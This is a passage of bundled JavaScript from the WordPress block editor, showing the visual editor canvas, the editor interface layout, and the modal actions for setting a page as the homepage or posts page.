23658;// ./node_modules/@wordpress/editor/build-module/components/visual-editor/index.js
23659
23660
23661
23662
23663
23664
23665
23666
23667
23668
23669
23670
23671
23672
23673
23674
23675const {
23676 LayoutStyle,
23677 useLayoutClasses,
23678 useLayoutStyles,
23679 ExperimentalBlockCanvas: BlockCanvas,
23680 useFlashEditableBlocks
23681} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
23682const visual_editor_DESIGN_POST_TYPES = [
23683 PATTERN_POST_TYPE,
23684 TEMPLATE_POST_TYPE,
23685 NAVIGATION_POST_TYPE,
23686 TEMPLATE_PART_POST_TYPE
23687];
23688function getPostContentAttributes(blocks) {
23689 for (let i = 0; i < blocks.length; i++) {
23690 if (blocks[i].name === "core/post-content") {
23691 return blocks[i].attributes;
23692 }
23693 if (blocks[i].innerBlocks.length) {
23694 const nestedPostContent = getPostContentAttributes(
23695 blocks[i].innerBlocks
23696 );
23697 if (nestedPostContent) {
23698 return nestedPostContent;
23699 }
23700 }
23701 }
23702}
23703function checkForPostContentAtRootLevel(blocks) {
23704 for (let i = 0; i < blocks.length; i++) {
23705 if (blocks[i].name === "core/post-content") {
23706 return true;
23707 }
23708 }
23709 return false;
23710}
23711function VisualEditor({
23712 // Ideally as we unify post and site editors, we won't need these props.
23713 autoFocus,
23714 styles,
23715 disableIframe = false,
23716 iframeProps,
23717 contentRef,
23718 className
23719}) {
23720 const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("small", "<");
23721 const {
23722 renderingMode,
23723 postContentAttributes,
23724 editedPostTemplate = {},
23725 wrapperBlockName,
23726 wrapperUniqueId,
23727 deviceType,
23728 isFocusedEntity,
23729 isDesignPostType,
23730 postType,
23731 isPreview,
23732 canvasMinHeight
23733 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
23734 const {
23735 getCurrentPostId,
23736 getCurrentPostType,
23737 getCurrentTemplateId,
23738 getEditorSettings,
23739 getRenderingMode,
23740 getDeviceType,
23741 getCanvasMinHeight
23742 } = unlock(select(store_store));
23743 const { getPostType, getEditedEntityRecord } = select(external_wp_coreData_namespaceObject.store);
23744 const postTypeSlug = getCurrentPostType();
23745 const _renderingMode = getRenderingMode();
23746 let _wrapperBlockName;
23747 if (postTypeSlug === PATTERN_POST_TYPE) {
23748 _wrapperBlockName = "core/block";
23749 } else if (_renderingMode === "post-only") {
23750 _wrapperBlockName = "core/post-content";
23751 }
23752 const editorSettings = getEditorSettings();
23753 const supportsTemplateMode = editorSettings.supportsTemplateMode;
23754 const postTypeObject = getPostType(postTypeSlug);
23755 const currentTemplateId = getCurrentTemplateId();
23756 const template = currentTemplateId ? getEditedEntityRecord(
23757 "postType",
23758 TEMPLATE_POST_TYPE,
23759 currentTemplateId
23760 ) : void 0;
23761 return {
23762 renderingMode: _renderingMode,
23763 postContentAttributes: editorSettings.postContentAttributes,
23764 isDesignPostType: visual_editor_DESIGN_POST_TYPES.includes(postTypeSlug),
23765 // Post template fetch returns a 404 on classic themes, which
23766 // messes with e2e tests, so check it's a block theme first.
23767 editedPostTemplate: postTypeObject?.viewable && supportsTemplateMode ? template : void 0,
23768 wrapperBlockName: _wrapperBlockName,
23769 wrapperUniqueId: getCurrentPostId(),
23770 deviceType: getDeviceType(),
23771 isFocusedEntity: !!editorSettings.onNavigateToPreviousEntityRecord,
23772 postType: postTypeSlug,
23773 isPreview: editorSettings.isPreviewMode,
23774 canvasMinHeight: getCanvasMinHeight()
23775 };
23776 }, []);
23777 const { isCleanNewPost } = (0,external_wp_data_namespaceObject.useSelect)(store_store);
23778 const {
23779 hasRootPaddingAwareAlignments,
23780 themeHasDisabledLayoutStyles,
23781 themeSupportsLayout,
23782 isZoomedOut
23783 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
23784 const { getSettings, isZoomOut: _isZoomOut } = unlock(
23785 select(external_wp_blockEditor_namespaceObject.store)
23786 );
23787 const _settings = getSettings();
23788 return {
23789 themeHasDisabledLayoutStyles: _settings.disableLayoutStyles,
23790 themeSupportsLayout: _settings.supportsLayout,
23791 hasRootPaddingAwareAlignments: _settings.__experimentalFeatures?.useRootPaddingAwareAlignments,
23792 isZoomedOut: _isZoomOut()
23793 };
23794 }, []);
23795 const localRef = (0,external_wp_element_namespaceObject.useRef)();
23796 const deviceStyles = (0,external_wp_blockEditor_namespaceObject.__experimentalUseResizeCanvas)(deviceType);
23797 const [globalLayoutSettings] = (0,external_wp_blockEditor_namespaceObject.useSettings)("layout");
23798 const fallbackLayout = (0,external_wp_element_namespaceObject.useMemo)(() => {
23799 if (renderingMode !== "post-only" || isDesignPostType) {
23800 return { type: "default" };
23801 }
23802 if (themeSupportsLayout) {
23803 return { ...globalLayoutSettings, type: "constrained" };
23804 }
23805 return { type: "default" };
23806 }, [
23807 renderingMode,
23808 themeSupportsLayout,
23809 globalLayoutSettings,
23810 isDesignPostType
23811 ]);
23812 const newestPostContentAttributes = (0,external_wp_element_namespaceObject.useMemo)(() => {
23813 if (!editedPostTemplate?.content && !editedPostTemplate?.blocks && postContentAttributes) {
23814 return postContentAttributes;
23815 }
23816 if (editedPostTemplate?.blocks) {
23817 return getPostContentAttributes(editedPostTemplate?.blocks);
23818 }
23819 const parseableContent = typeof editedPostTemplate?.content === "string" ? editedPostTemplate?.content : "";
23820 return getPostContentAttributes((0,external_wp_blocks_namespaceObject.parse)(parseableContent)) || {};
23821 }, [
23822 editedPostTemplate?.content,
23823 editedPostTemplate?.blocks,
23824 postContentAttributes
23825 ]);
23826 const hasPostContentAtRootLevel = (0,external_wp_element_namespaceObject.useMemo)(() => {
23827 if (!editedPostTemplate?.content && !editedPostTemplate?.blocks) {
23828 return false;
23829 }
23830 if (editedPostTemplate?.blocks) {
23831 return checkForPostContentAtRootLevel(editedPostTemplate?.blocks);
23832 }
23833 const parseableContent = typeof editedPostTemplate?.content === "string" ? editedPostTemplate?.content : "";
23834 return checkForPostContentAtRootLevel((0,external_wp_blocks_namespaceObject.parse)(parseableContent)) || false;
23835 }, [editedPostTemplate?.content, editedPostTemplate?.blocks]);
23836 const { layout = {}, align = "" } = newestPostContentAttributes || {};
23837 const postContentLayoutClasses = useLayoutClasses(
23838 newestPostContentAttributes,
23839 "core/post-content"
23840 );
23841 const blockListLayoutClass = dist_clsx(
23842 {
23843 "is-layout-flow": !themeSupportsLayout
23844 },
23845 themeSupportsLayout && postContentLayoutClasses,
23846 align && `align${align}`
23847 );
23848 const postContentLayoutStyles = useLayoutStyles(
23849 newestPostContentAttributes,
23850 "core/post-content",
23851 ".block-editor-block-list__layout.is-root-container"
23852 );
23853 const postContentLayout = (0,external_wp_element_namespaceObject.useMemo)(() => {
23854 return layout && (layout?.type === "constrained" || layout?.inherit || layout?.contentSize || layout?.wideSize) ? { ...globalLayoutSettings, ...layout, type: "constrained" } : { ...globalLayoutSettings, ...layout, type: "default" };
23855 }, [
23856 layout?.type,
23857 layout?.inherit,
23858 layout?.contentSize,
23859 layout?.wideSize,
23860 globalLayoutSettings
23861 ]);
23862 const blockListLayout = postContentAttributes ? postContentLayout : fallbackLayout;
23863 const postEditorLayout = blockListLayout?.type === "default" && !hasPostContentAtRootLevel ? fallbackLayout : blockListLayout;
23864 const observeTypingRef = (0,external_wp_blockEditor_namespaceObject.__unstableUseTypingObserver)();
23865 const titleRef = (0,external_wp_element_namespaceObject.useRef)();
23866 (0,external_wp_element_namespaceObject.useEffect)(() => {
23867 if (!autoFocus || !isCleanNewPost()) {
23868 return;
23869 }
23870 titleRef?.current?.focus();
23871 }, [autoFocus, isCleanNewPost]);
23872 const alignCSS = `.is-root-container.alignwide { max-width: var(--wp--style--global--wide-size); margin-left: auto; margin-right: auto;}
23873 .is-root-container.alignwide:where(.is-layout-flow) > :not(.alignleft):not(.alignright) { max-width: var(--wp--style--global--wide-size);}
23874 .is-root-container.alignfull { max-width: none; margin-left: auto; margin-right: auto;}
23875 .is-root-container.alignfull:where(.is-layout-flow) > :not(.alignleft):not(.alignright) { max-width: none;}`;
23876 const enableResizing = [
23877 NAVIGATION_POST_TYPE,
23878 TEMPLATE_PART_POST_TYPE,
23879 PATTERN_POST_TYPE
23880 ].includes(postType) && // Disable in previews / view mode.
23881 !isPreview && // Disable resizing in mobile viewport.
23882 !isMobileViewport && // Disable resizing in zoomed-out mode.
23883 !isZoomedOut;
23884 const calculatedMinHeight = (0,external_wp_element_namespaceObject.useMemo)(() => {
23885 if (!localRef.current) {
23886 return canvasMinHeight;
23887 }
23888 const { ownerDocument } = localRef.current;
23889 const scrollTop = ownerDocument.documentElement.scrollTop || ownerDocument.body.scrollTop;
23890 return canvasMinHeight + scrollTop;
23891 }, [canvasMinHeight]);
23892 const iframeStyles = (0,external_wp_element_namespaceObject.useMemo)(() => {
23893 return [
23894 ...styles ?? [],
23895 {
23896 // Ensures margins of children are contained so that the body background paints behind them.
23897 // Otherwise, the background of html (when zoomed out) would show there and appear broken. It's
23898 // important mostly for post-only views yet conceivably an issue in templated views too.
23899 css: `:where(.block-editor-iframe__body){display:flow-root;${calculatedMinHeight ? `min-height:${calculatedMinHeight}px;` : ""}}.is-root-container{display:flow-root;${// Some themes will have `min-height: 100vh` for the root container,
23900 // which isn't a requirement in auto resize mode.
23901 enableResizing ? "min-height:0!important;" : ""}}
23902 ${enableResizing ? `.block-editor-iframe__html{background:var(--wp-editor-canvas-background);display:flex;align-items:center;justify-content:center;min-height:100vh;}.block-editor-iframe__body{width:100%;}` : ""}`
23903 // The CSS above centers the body content vertically when resizing is enabled and applies a background
23904 // color to the iframe HTML element to match the background color of the editor canvas.
23905 }
23906 ];
23907 }, [styles, enableResizing, calculatedMinHeight]);
23908 const typewriterRef = (0,external_wp_blockEditor_namespaceObject.__unstableUseTypewriter)();
23909 contentRef = (0,external_wp_compose_namespaceObject.useMergeRefs)([
23910 localRef,
23911 contentRef,
23912 renderingMode === "post-only" ? typewriterRef : null,
23913 useFlashEditableBlocks({
23914 isEnabled: renderingMode === "template-locked"
23915 }),
23916 useSelectNearestEditableBlock({
23917 isEnabled: renderingMode === "template-locked"
23918 }),
23919 useZoomOutModeExit()
23920 ]);
23921 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23922 "div",
23923 {
23924 className: dist_clsx(
23925 "editor-visual-editor",
23926 // this class is here for backward compatibility reasons.
23927 "edit-post-visual-editor",
23928 className,
23929 {
23930 "has-padding": isFocusedEntity || enableResizing,
23931 "is-resizable": enableResizing,
23932 "is-iframed": !disableIframe
23933 }
23934 ),
23935 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(resizable_editor_default, { enableResizing, height: "100%", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
23936 BlockCanvas,
23937 {
23938 shouldIframe: !disableIframe,
23939 contentRef,
23940 styles: iframeStyles,
23941 height: "100%",
23942 iframeProps: {
23943 ...iframeProps,
23944 style: {
23945 ...iframeProps?.style,
23946 ...deviceStyles
23947 }
23948 },
23949 children: [
23950 themeSupportsLayout && !themeHasDisabledLayoutStyles && renderingMode === "post-only" && !isDesignPostType && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
23951 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23952 LayoutStyle,
23953 {
23954 selector: ".editor-visual-editor__post-title-wrapper",
23955 layout: fallbackLayout
23956 }
23957 ),
23958 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23959 LayoutStyle,
23960 {
23961 selector: ".block-editor-block-list__layout.is-root-container",
23962 layout: postEditorLayout
23963 }
23964 ),
23965 align && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(LayoutStyle, { css: alignCSS }),
23966 postContentLayoutStyles && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23967 LayoutStyle,
23968 {
23969 layout: postContentLayout,
23970 css: postContentLayoutStyles
23971 }
23972 )
23973 ] }),
23974 renderingMode === "post-only" && !isDesignPostType && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
23975 "div",
23976 {
23977 className: dist_clsx(
23978 "editor-visual-editor__post-title-wrapper",
23979 // The following class is only here for backward compatibility
23980 // some themes might be using it to style the post title.
23981 "edit-post-visual-editor__post-title-wrapper",
23982 {
23983 "has-global-padding": hasRootPaddingAwareAlignments
23984 }
23985 ),
23986 contentEditable: false,
23987 ref: observeTypingRef,
23988 style: {
23989 // This is using inline styles
23990 // so it's applied for both iframed and non iframed editors.
23991 marginTop: "4rem"
23992 },
23993 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_title_default, { ref: titleRef })
23994 }
23995 ),
23996 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
23997 external_wp_blockEditor_namespaceObject.RecursionProvider,
23998 {
23999 blockName: wrapperBlockName,
24000 uniqueId: wrapperUniqueId,
24001 children: [
24002 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24003 external_wp_blockEditor_namespaceObject.BlockList,
24004 {
24005 className: dist_clsx(
24006 "is-" + deviceType.toLowerCase() + "-preview",
24007 renderingMode !== "post-only" || isDesignPostType ? "wp-site-blocks" : `${blockListLayoutClass} wp-block-post-content`,
24008 // Ensure root level blocks receive default/flow blockGap styling rules.
24009 {
24010 "has-global-padding": renderingMode === "post-only" && !isDesignPostType && hasRootPaddingAwareAlignments
24011 }
24012 ),
24013 layout: blockListLayout,
24014 dropZoneElement: (
24015 // When iframed, pass in the html element of the iframe to
24016 // ensure the drop zone extends to the edges of the iframe.
24017 disableIframe ? localRef.current : localRef.current?.parentNode
24018 ),
24019 __unstableDisableDropZone: (
24020 // In template preview mode, disable drop zones at the root of the template.
24021 renderingMode === "template-locked" ? true : false
24022 )
24023 }
24024 ),
24025 renderingMode === "template-locked" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24026 EditTemplateBlocksNotification,
24027 {
24028 contentRef: localRef
24029 }
24030 )
24031 ]
24032 }
24033 )
24034 ]
24035 }
24036 ) })
24037 }
24038 );
24039}
24040var visual_editor_default = VisualEditor;
24041
24042
24043;// ./node_modules/@wordpress/editor/build-module/components/editor-interface/index.js
24044
24045
24046
24047
24048
24049
24050
24051
24052
24053
24054
24055
24056
24057
24058
24059
24060
24061
24062const interfaceLabels = {
24063 /* translators: accessibility text for the editor top bar landmark region. */
24064 header: (0,external_wp_i18n_namespaceObject.__)("Editor top bar"),
24065 /* translators: accessibility text for the editor content landmark region. */
24066 body: (0,external_wp_i18n_namespaceObject.__)("Editor content"),
24067 /* translators: accessibility text for the editor settings landmark region. */
24068 sidebar: (0,external_wp_i18n_namespaceObject.__)("Editor settings"),
24069 /* translators: accessibility text for the editor publish landmark region. */
24070 actions: (0,external_wp_i18n_namespaceObject.__)("Editor publish"),
24071 /* translators: accessibility text for the editor footer landmark region. */
24072 footer: (0,external_wp_i18n_namespaceObject.__)("Editor footer")
24073};
24074function EditorInterface({
24075 className,
24076 styles,
24077 children,
24078 forceIsDirty,
24079 contentRef,
24080 disableIframe,
24081 autoFocus,
24082 customSaveButton,
24083 customSavePanel,
24084 forceDisableBlockTools,
24085 title,
24086 iframeProps
24087}) {
24088 const {
24089 mode,
24090 isInserterOpened,
24091 isListViewOpened,
24092 isDistractionFree,
24093 isPreviewMode,
24094 showBlockBreadcrumbs,
24095 documentLabel
24096 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
24097 const { get } = select(external_wp_preferences_namespaceObject.store);
24098 const { getEditorSettings, getPostTypeLabel } = select(store_store);
24099 const editorSettings = getEditorSettings();
24100 const postTypeLabel = getPostTypeLabel();
24101 let _mode = select(store_store).getEditorMode();
24102 if (!editorSettings.richEditingEnabled && _mode === "visual") {
24103 _mode = "text";
24104 }
24105 if (!editorSettings.codeEditingEnabled && _mode === "text") {
24106 _mode = "visual";
24107 }
24108 return {
24109 mode: _mode,
24110 isInserterOpened: select(store_store).isInserterOpened(),
24111 isListViewOpened: select(store_store).isListViewOpened(),
24112 isDistractionFree: get("core", "distractionFree"),
24113 isPreviewMode: editorSettings.isPreviewMode,
24114 showBlockBreadcrumbs: get("core", "showBlockBreadcrumbs"),
24115 documentLabel: (
24116 // translators: Default label for the Document in the Block Breadcrumb.
24117 postTypeLabel || (0,external_wp_i18n_namespaceObject._x)("Document", "noun, breadcrumb")
24118 )
24119 };
24120 }, []);
24121 const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium");
24122 const secondarySidebarLabel = isListViewOpened ? (0,external_wp_i18n_namespaceObject.__)("Document Overview") : (0,external_wp_i18n_namespaceObject.__)("Block Library");
24123 const [entitiesSavedStatesCallback, setEntitiesSavedStatesCallback] = (0,external_wp_element_namespaceObject.useState)(false);
24124 const closeEntitiesSavedStates = (0,external_wp_element_namespaceObject.useCallback)(
24125 (arg) => {
24126 if (typeof entitiesSavedStatesCallback === "function") {
24127 entitiesSavedStatesCallback(arg);
24128 }
24129 setEntitiesSavedStatesCallback(false);
24130 },
24131 [entitiesSavedStatesCallback]
24132 );
24133 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24134 interface_skeleton_default,
24135 {
24136 isDistractionFree,
24137 className: dist_clsx("editor-editor-interface", className, {
24138 "is-entity-save-view-open": !!entitiesSavedStatesCallback,
24139 "is-distraction-free": isDistractionFree && !isPreviewMode
24140 }),
24141 labels: {
24142 ...interfaceLabels,
24143 secondarySidebar: secondarySidebarLabel
24144 },
24145 header: !isPreviewMode && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24146 header_header_default,
24147 {
24148 forceIsDirty,
24149 setEntitiesSavedStatesCallback,
24150 customSaveButton,
24151 forceDisableBlockTools,
24152 title
24153 }
24154 ),
24155 editorNotices: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(editor_notices_default, {}),
24156 secondarySidebar: !isPreviewMode && mode === "visual" && (isInserterOpened && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(InserterSidebar, {}) || isListViewOpened && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ListViewSidebar, {})),
24157 sidebar: !isPreviewMode && !isDistractionFree && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(complementary_area_default.Slot, { scope: "core" }),
24158 content: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
24159 !isDistractionFree && !isPreviewMode && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(editor_notices_default, {}),
24160 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(content_slot_fill_default.Slot, { children: ([editorCanvasView]) => editorCanvasView ? editorCanvasView : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
24161 !isPreviewMode && mode === "text" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24162 TextEditor,
24163 {
24164 autoFocus
24165 }
24166 ),
24167 !isPreviewMode && !isLargeViewport && mode === "visual" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockToolbar, { hideDragHandle: true }),
24168 (isPreviewMode || mode === "visual") && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24169 visual_editor_default,
24170 {
24171 styles,
24172 contentRef,
24173 disableIframe,
24174 autoFocus,
24175 iframeProps
24176 }
24177 ),
24178 children
24179 ] }) })
24180 ] }),
24181 footer: !isPreviewMode && !isDistractionFree && isLargeViewport && showBlockBreadcrumbs && mode === "visual" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockBreadcrumb, { rootLabelText: documentLabel }),
24182 actions: !isPreviewMode ? customSavePanel || /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24183 SavePublishPanels,
24184 {
24185 closeEntitiesSavedStates,
24186 isEntitiesSavedStatesOpen: entitiesSavedStatesCallback,
24187 setEntitiesSavedStatesCallback,
24188 forceIsDirtyPublishPanel: forceIsDirty
24189 }
24190 ) : void 0
24191 }
24192 );
24193}
24194
24195
24196;// ./node_modules/@wordpress/editor/build-module/components/pattern-overrides-panel/index.js
24197
24198
24199
24200
24201
24202const { OverridesPanel } = unlock(external_wp_patterns_namespaceObject.privateApis);
24203function PatternOverridesPanel() {
24204 const supportsPatternOverridesPanel = (0,external_wp_data_namespaceObject.useSelect)(
24205 (select) => select(store_store).getCurrentPostType() === "wp_block",
24206 []
24207 );
24208 if (!supportsPatternOverridesPanel) {
24209 return null;
24210 }
24211 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(OverridesPanel, {});
24212}
24213
24214
24215;// ./node_modules/@wordpress/editor/build-module/utils/get-item-title.js
24216
24217function get_item_title_getItemTitle(item) {
24218 if (typeof item.title === "string") {
24219 return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(item.title);
24220 }
24221 if (item.title && "rendered" in item.title) {
24222 return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(item.title.rendered);
24223 }
24224 if (item.title && "raw" in item.title) {
24225 return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(item.title.raw);
24226 }
24227 return "";
24228}
24229
24230
24231;// ./node_modules/@wordpress/editor/build-module/components/post-actions/set-as-homepage.js
24232
24233
24234
24235
24236
24237
24238
24239
24240const SetAsHomepageModal = ({ items, closeModal }) => {
24241 const [item] = items;
24242 const pageTitle = get_item_title_getItemTitle(item);
24243 const { showOnFront, currentHomePage, isSaving } = (0,external_wp_data_namespaceObject.useSelect)(
24244 (select) => {
24245 const { getEntityRecord, isSavingEntityRecord } = select(external_wp_coreData_namespaceObject.store);
24246 const siteSettings = getEntityRecord("root", "site");
24247 const currentHomePageItem = getEntityRecord(
24248 "postType",
24249 "page",
24250 siteSettings?.page_on_front
24251 );
24252 return {
24253 showOnFront: siteSettings?.show_on_front,
24254 currentHomePage: currentHomePageItem,
24255 isSaving: isSavingEntityRecord("root", "site")
24256 };
24257 }
24258 );
24259 const { saveEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
24260 const { createSuccessNotice, createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
24261 async function onSetPageAsHomepage(event) {
24262 event.preventDefault();
24263 try {
24264 await saveEntityRecord("root", "site", {
24265 page_on_front: item.id,
24266 show_on_front: "page"
24267 });
24268 createSuccessNotice((0,external_wp_i18n_namespaceObject.__)("Homepage updated."), {
24269 type: "snackbar"
24270 });
24271 } catch (error) {
24272 const errorMessage = error.message && error.code !== "unknown_error" ? error.message : (0,external_wp_i18n_namespaceObject.__)("An error occurred while setting the homepage.");
24273 createErrorNotice(errorMessage, { type: "snackbar" });
24274 } finally {
24275 closeModal?.();
24276 }
24277 }
24278 let modalWarning = "";
24279 if ("posts" === showOnFront) {
24280 modalWarning = (0,external_wp_i18n_namespaceObject.__)(
24281 "This will replace the current homepage which is set to display latest posts."
24282 );
24283 } else if (currentHomePage) {
24284 modalWarning = (0,external_wp_i18n_namespaceObject.sprintf)(
24285 // translators: %s: title of the current home page.
24286 (0,external_wp_i18n_namespaceObject.__)('This will replace the current homepage: "%s"'),
24287 get_item_title_getItemTitle(currentHomePage)
24288 );
24289 }
24290 const modalText = (0,external_wp_i18n_namespaceObject.sprintf)(
24291 // translators: %1$s: title of the page to be set as the homepage, %2$s: homepage replacement warning message.
24292 (0,external_wp_i18n_namespaceObject.__)('Set "%1$s" as the site homepage? %2$s'),
24293 pageTitle,
24294 modalWarning
24295 ).trim();
24296 const modalButtonLabel = (0,external_wp_i18n_namespaceObject.__)("Set homepage");
24297 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("form", { onSubmit: onSetPageAsHomepage, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "5", children: [
24298 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: modalText }),
24299 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "right", children: [
24300 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24301 external_wp_components_namespaceObject.Button,
24302 {
24303 __next40pxDefaultSize: true,
24304 variant: "tertiary",
24305 onClick: () => {
24306 closeModal?.();
24307 },
24308 disabled: isSaving,
24309 accessibleWhenDisabled: true,
24310 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
24311 }
24312 ),
24313 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24314 external_wp_components_namespaceObject.Button,
24315 {
24316 __next40pxDefaultSize: true,
24317 variant: "primary",
24318 type: "submit",
24319 disabled: isSaving,
24320 accessibleWhenDisabled: true,
24321 children: modalButtonLabel
24322 }
24323 )
24324 ] })
24325 ] }) });
24326};
24327const useSetAsHomepageAction = () => {
24328 const { pageOnFront, pageForPosts } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
24329 const { getEntityRecord, canUser } = select(external_wp_coreData_namespaceObject.store);
24330 const siteSettings = canUser("read", {
24331 kind: "root",
24332 name: "site"
24333 }) ? getEntityRecord("root", "site") : void 0;
24334 return {
24335 pageOnFront: siteSettings?.page_on_front,
24336 pageForPosts: siteSettings?.page_for_posts
24337 };
24338 });
24339 return (0,external_wp_element_namespaceObject.useMemo)(
24340 () => ({
24341 id: "set-as-homepage",
24342 label: (0,external_wp_i18n_namespaceObject.__)("Set as homepage"),
24343 isEligible(post) {
24344 if (post.status !== "publish") {
24345 return false;
24346 }
24347 if (post.type !== "page") {
24348 return false;
24349 }
24350 if (pageOnFront === post.id) {
24351 return false;
24352 }
24353 if (pageForPosts === post.id) {
24354 return false;
24355 }
24356 return true;
24357 },
24358 modalFocusOnMount: "firstContentElement",
24359 RenderModal: SetAsHomepageModal
24360 }),
24361 [pageForPosts, pageOnFront]
24362 );
24363};
24364
24365
24366;// ./node_modules/@wordpress/editor/build-module/components/post-actions/set-as-posts-page.js
24367
24368
24369
24370
24371
24372
24373
24374
24375const SetAsPostsPageModal = ({ items, closeModal }) => {
24376 const [item] = items;
24377 const pageTitle = get_item_title_getItemTitle(item);
24378 const { currentPostsPage, isPageForPostsSet, isSaving } = (0,external_wp_data_namespaceObject.useSelect)(
24379 (select) => {
24380 const { getEntityRecord, isSavingEntityRecord } = select(external_wp_coreData_namespaceObject.store);
24381 const siteSettings = getEntityRecord("root", "site");
24382 const currentPostsPageItem = getEntityRecord(
24383 "postType",
24384 "page",
24385 siteSettings?.page_for_posts
24386 );
24387 return {
24388 currentPostsPage: currentPostsPageItem,
24389 isPageForPostsSet: siteSettings?.page_for_posts !== 0,
24390 isSaving: isSavingEntityRecord("root", "site")
24391 };
24392 }
24393 );
24394 const { saveEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
24395 const { createSuccessNotice, createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
24396 async function onSetPageAsPostsPage(event) {
24397 event.preventDefault();
24398 try {
24399 await saveEntityRecord("root", "site", {
24400 page_for_posts: item.id,
24401 show_on_front: "page"
24402 });
24403 createSuccessNotice((0,external_wp_i18n_namespaceObject.__)("Posts page updated."), {
24404 type: "snackbar"
24405 });
24406 } catch (error) {
24407 const errorMessage = error.message && error.code !== "unknown_error" ? error.message : (0,external_wp_i18n_namespaceObject.__)("An error occurred while setting the posts page.");
24408 createErrorNotice(errorMessage, { type: "snackbar" });
24409 } finally {
24410 closeModal?.();
24411 }
24412 }
24413 const modalWarning = isPageForPostsSet && currentPostsPage ? (0,external_wp_i18n_namespaceObject.sprintf)(
24414 // translators: %s: title of the current posts page.
24415 (0,external_wp_i18n_namespaceObject.__)('This will replace the current posts page: "%s"'),
24416 get_item_title_getItemTitle(currentPostsPage)
24417 ) : (0,external_wp_i18n_namespaceObject.__)("This page will show the latest posts.");
24418 const modalText = (0,external_wp_i18n_namespaceObject.sprintf)(
24419 // translators: %1$s: title of the page to be set as the posts page, %2$s: posts page replacement warning message.
24420 (0,external_wp_i18n_namespaceObject.__)('Set "%1$s" as the posts page? %2$s'),
24421 pageTitle,
24422 modalWarning
24423 );
24424 const modalButtonLabel = (0,external_wp_i18n_namespaceObject.__)("Set posts page");
24425 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("form", { onSubmit: onSetPageAsPostsPage, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "5", children: [
24426 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: modalText }),
24427 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "right", children: [
24428 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
24429 external_wp_components_namespaceObject.Button,
24430 {
24431 __next40pxDefaultSize: true,
24432 variant: "tertiary",
24433 onClick: () => {
24434 closeModal?.();
24435 },
